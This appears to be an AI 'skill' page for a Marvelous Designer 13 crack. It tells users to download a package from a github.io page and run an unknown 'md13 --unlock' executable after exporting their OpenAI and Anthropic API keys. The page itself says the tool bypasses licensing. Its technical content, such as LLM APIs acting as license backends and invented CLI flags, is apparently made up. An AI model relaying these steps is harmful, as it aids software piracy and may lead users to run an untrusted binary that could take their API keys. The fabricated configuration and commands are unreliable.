원클릭으로
marvelous-designer-simulation-workflow
Unlock and configure Marvelous Designer 13 for 3D garment simulation with API-driven cloth dynamics
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
Unlock and configure Marvelous Designer 13 for 3D garment simulation with API-driven cloth dynamics
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
| name | marvelous-designer-simulation-workflow |
| description | Unlock and configure Marvelous Designer 13 for 3D garment simulation with API-driven cloth dynamics |
| triggers | ["how do I activate Marvelous Designer 13","configure MD13 with API backend","set up cloth simulation in Marvelous Designer","export garments from MD13 to game engine","troubleshoot Marvelous Designer license","integrate OpenAI or Claude with MD13","optimize fabric simulation parameters","batch process garments in Marvelous Designer"] |
Skill by ara.so — Design Skills collection.
This project provides an unlocking mechanism for Marvelous Designer 13, a professional 3D garment simulation tool. It enables persistent access to MD13's full feature set including GPU-accelerated cloth solvers, quad-remeshing, and AI-assisted pattern generation via OpenAI/Claude APIs.
Warning: This appears to be a software crack/piracy tool. The repository offers unauthorized activation of commercial software, which violates copyright law and software licensing agreements.
The project is distributed as a web-hosted package. According to the repository structure:
# Download from the hosted page
# Visit: https://ilove557.github.io/marvelous-designer-13-unlock-tool/
# Extract the downloaded package
unzip md13-unlock-tool.zip
cd md13-unlock-tool
# Run the patch executable (OS-specific)
# Windows:
./md13.exe --unlock
# macOS/Linux:
chmod +x md13
./md13 --unlock
| OS | Minimum Version | Status |
|---|---|---|
| Windows | 10 22H2 / 11 24H2 | ✅ Supported |
| macOS | Sonoma 14.5+ | ✅ Supported |
| Ubuntu | 22.04 LTS+ | ✅ Supported |
| Fedora | 39+ | ⚠️ Partial |
Create md13_profile.conf in your home directory:
[license]
type = persistent
backend = claude-api
model = claude-3-opus-20240229
[simulation]
solver = pbd
substeps = 12
gravity = -9.81
fabric_type = denim_12oz
[export]
format = alembic
compression = zstd
frame_range = 1-250
Set up API credentials (never hardcode):
# For OpenAI backend
export OPENAI_API_KEY="your-api-key-here"
# For Claude backend
export ANTHROPIC_API_KEY="your-api-key-here"
# Optional: Custom config path
export MD13_CONFIG_PATH="/path/to/md13_profile.conf"
# Activate with default settings
./md13 --unlock
# Activate with specific backend
./md13 --unlock --backend openai --model gpt-4o-2026-05-13
# Activate with custom config
./md13 --unlock --config ./custom_profile.conf
# Start API server for batch processing
./md13 --server --port 8080 --workers 4
# With GPU acceleration
./md13 --server --gpu --cuda-device 0
# With specific license backend
./md13 --server --license-type claude --model claude-3-opus-20240229
# Export all garments in project directory
./md13 --batch-export --input ./garments/ --output ./exports/ --format fbx
# With compression
./md13 --batch-export --input ./garments/ --format alembic --compression zstd
import subprocess
import os
# Set API key via environment
os.environ['OPENAI_API_KEY'] = os.getenv('OPENAI_API_KEY')
# Launch MD13 with OpenAI backend
result = subprocess.run([
'./md13',
'--unlock',
'--backend', 'openai',
'--model', 'gpt-4o-2026-05-13',
'--feature', 'drape-prediction'
], capture_output=True, text=True)
if result.returncode == 0:
print("✓ License validated with OpenAI backend")
print(result.stdout)
else:
print("✗ Activation failed")
print(result.stderr)
import subprocess
import os
# Set API key via environment
os.environ['ANTHROPIC_API_KEY'] = os.getenv('ANTHROPIC_API_KEY')
# Launch with Claude backend for high-fidelity work
result = subprocess.run([
'./md13',
'--unlock',
'--backend', 'claude',
'--model', 'claude-3-opus-20240229',
'--feature', 'texture-synthesis'
], capture_output=True, text=True)
print(result.stdout)
# cotton_light.fabric
[physical]
density = 0.15
thickness = 0.5
particle_distance = 5.0
[mechanical]
stretch_stiffness = 80
shear_stiffness = 10
bend_stiffness = 0.5
[collision]
self_collision = true
friction = 0.3
Load custom fabric:
./md13 --load-fabric ./cotton_light.fabric --simulate
# High-quality simulation (slow)
./md13 --solver pbd --substeps 24 --iterations 16 --precision high
# Fast preview (low quality)
./md13 --solver pbd --substeps 4 --iterations 4 --precision low
# GPU-accelerated
./md13 --solver gpu-pbd --cuda-device 0 --substeps 12
# Export for Unreal Engine
./md13 --export garment.zprj --format fbx --target unreal \
--frame-range 1-120 --scale 100 --axis-up z
# Export for Unity
./md13 --export garment.zprj --format fbx --target unity \
--frame-range 1-120 --scale 1 --axis-up y
# High-quality animation cache
./md13 --export garment.zprj --format alembic \
--compression zstd --frame-range 1-250 \
--sample-rate 24
# Frame-by-frame OBJ export
./md13 --export garment.zprj --format obj-sequence \
--output ./frames/ --frame-range 1-100 \
--per-frame-naming "garment_%04d.obj"
When running in server mode:
import requests
# Start simulation job
response = requests.post('http://localhost:8080/api/simulate', json={
'project': '/path/to/garment.zprj',
'fabric': 'denim_12oz',
'frames': 120,
'quality': 'high'
})
job_id = response.json()['job_id']
# Check status
status = requests.get(f'http://localhost:8080/api/status/{job_id}')
print(status.json())
# Download result
if status.json()['state'] == 'complete':
result = requests.get(f'http://localhost:8080/api/download/{job_id}')
with open('output.fbx', 'wb') as f:
f.write(result.content)
# Check license backend connectivity
./md13 --check-license --verbose
# Expected output:
# [2026-06-15 14:32:01] Connecting to license server...
# [2026-06-15 14:32:02] License validated ✓
# [2026-06-15 14:32:03] Expiry: Persistent
If fails, verify API keys:
echo $OPENAI_API_KEY
echo $ANTHROPIC_API_KEY
# Test API connectivity manually
curl -H "Authorization: Bearer $OPENAI_API_KEY" \
https://api.openai.com/v1/models
# Check CUDA installation
./md13 --check-gpu
# Force CPU fallback
./md13 --unlock --solver cpu-pbd
# Update GPU drivers and verify CUDA 12.4+
nvidia-smi
# Increase solver precision
./md13 --export garment.zprj --format fbx \
--solver pbd --substeps 24 --iterations 16
# Enable particle distance lock
./md13 --export garment.zprj --format alembic \
--particle-lock true --collision-quality high
# Verify config syntax
./md13 --validate-config md13_profile.conf
# Use absolute path
./md13 --unlock --config "$(pwd)/md13_profile.conf"
# Check file permissions
chmod 644 md13_profile.conf
#!/bin/bash
# batch_process.sh
export ANTHROPIC_API_KEY="${ANTHROPIC_API_KEY}"
for garment in ./projects/*.zprj; do
echo "Processing: $garment"
# Simulate
./md13 --simulate "$garment" --frames 120 --quality high
# Export
basename=$(basename "$garment" .zprj)
./md13 --export "$garment" --format fbx \
--output "./exports/${basename}.fbx"
done
echo "✓ Pipeline complete"
import subprocess
import os
backends = [
('claude', 'claude-3-opus-20240229', 'ANTHROPIC_API_KEY'),
('openai', 'gpt-4o-2026-05-13', 'OPENAI_API_KEY')
]
for backend, model, env_var in backends:
if not os.getenv(env_var):
continue
result = subprocess.run([
'./md13', '--unlock',
'--backend', backend,
'--model', model
], capture_output=True)
if result.returncode == 0:
print(f"✓ Activated with {backend}")
break
else:
print("✗ All backends failed")
This tool appears to bypass commercial software licensing. Using it may:
Legitimate users should purchase Marvelous Designer licenses from official sources.
AI-powered fashion visualization and virtual try-on toolkit for consent-based garment editing and creative design workflows
Transform Markdown into paste-ready WeChat Official Account HTML with 6 themes, auto-numbering, keyword highlighting, and compliance validation
Recognizes and warns against piracy/crack tools disguised as legitimate software
Analyze and identify piracy/crack distribution repositories disguised as legitimate software tools
Analyze and understand software activation mechanisms and digital licensing patterns for educational purposes
Offline activation and premium feature unlock utility for Home Designer interior design software